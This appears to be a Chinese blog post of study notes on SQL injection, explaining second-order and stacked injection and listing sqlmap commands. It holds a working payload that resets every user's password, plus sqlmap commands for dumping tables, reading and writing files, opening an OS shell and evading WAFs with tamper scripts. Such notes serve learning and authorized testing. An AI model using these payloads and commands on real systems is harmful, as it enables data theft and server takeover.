Administrator
发布于 2025-09-18 / 3 阅读
0
0

SQL注入之二次注入&堆叠注入&SQLMAP

二次注入

SQL注入时,无法完成一次sql语句的闭合而达到注入目的,先将第一次语句存储到目标数据库,然后二次寻找注入点,利用第二次的操作去触发存储到数据库的注入语句

比如:

在用户注册时填入的信息:用户名,昵称,密码等

通常使用insert语句进行添加数据操作

insert into users (username,password) values ('admin','123456');        #添加username为admin,密码为123456的用户往users表

如果把用户名写成'or 1=1#那么语句就变成了

insert into users (username,password) values (''or 1=1#','123456');

然后就是找第二个点,如修改各种信息的位置,我要修改密码,通常开发者使用的是update语句,那么这时候语句就成了

update users set password =  '333333' where username = ''or 1=1#'

开发者修改密码的sql语句要加where条件,而我们的用户名恰好闭合了条件,让条件为空了,最后被执行的语句就变成了修改users表下所有用户的密码为333333,这样就达到了注入效果

原理就是这样,不过在授权进行测试时一般是禁止修改数据库中的数据的,如果是未授权那可就太刑了

堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

比如用户列表的查询是这样的

select username from users;

在已经结束的;后面继续写完整sql语句就可以实现堆叠注入,前提是满足上述条件,不过现实中几乎没有

SQLMAP

脚本小子的觉悟:手工注入是不可能手工注入的,sqlmap直接梭哈

专为sql注入打造的开源工具,官网:https://sqlmap.org

kali自带,其他系统需要先安装python环境

能不能注入一般就是sqlmap跑一遍,有就有,没有就跑路了,因为手工太费劲。

url:get请求直接复制粘贴

post请求需要--data参数后面跟请求参数

cookie,--cookie "user_id=1*" *用于标记注入点,多个参数使用,隔开

-v 5 测试强度,5级最高,跑的字典最多,越慢

-level 与v功能差不多,最高6级

--user-agent "" #自定义user-agent

--random-agent #随机user-agent

--time-sec=5#延迟响应,默认为5

-r参数,将请求头放到txt文件中,使用*标记注入点,可以模拟正常用户访问,与直接使用参数时发送的请求头不相同,sqlmap自行构造的请求头可能含有特征,避免被简单waf拦截,固定请求头进行注入,防止出现请求无法被服务端识别导致无法访问,如无cookie等用户凭据字段

sqlmap -u "url"     #查看是否有注入点,获取可用payload,--proxy "代理地址"使用代理进行请求
sqlmap -u "url" --current-db        #查看当前数据库,--dbs查询所有数据库,--is-dba查询是否高权限(是否能跨库注入),--privileges查看权限列表
sqlmap -u "url" --tables -D "要查的数据库名"   #查询数据库下的表,不加-D参数查所有
sqlmap -u "url" --columns -T "表名" --tables -D "库名"      #查询列
sqlmap -u "url" --dump -C "列名1,列名2" -T "表名" -D "库名"     #查询列下的数据

高权限才可的操作:

1.文件操作:

sqlmap -u "url" --file-read "路径/文件"
sqlmap -u "url" --file-write 要写入的路径和文件名 --file-dest 本地文件路径和文件

2.shell:

sqlmap -u "url" --os-cmd=命令
sqlmap -u "url" --os-shell      #可交互的shell
sqlmap -u "url" --sql-shell

tamper脚本:

注入时有些注入点会进行编码,如base64等常见编码,这时直接sqlmap跑使用的还是明文字典,不会对注入语句进行编码,这时候就要带上--tamper参数指定脚本去进行编码再进行注入,脚本放在sqlmap目录下的tamper文件夹,支持自定义脚本,自带有常见编码

sqlmap -u "url" --tamper=base64encode.py

笔记仅做了学习梳理加深印象,更多使用方式见https://www.cnblogs.com/bmjoker/p/9326258.html


评论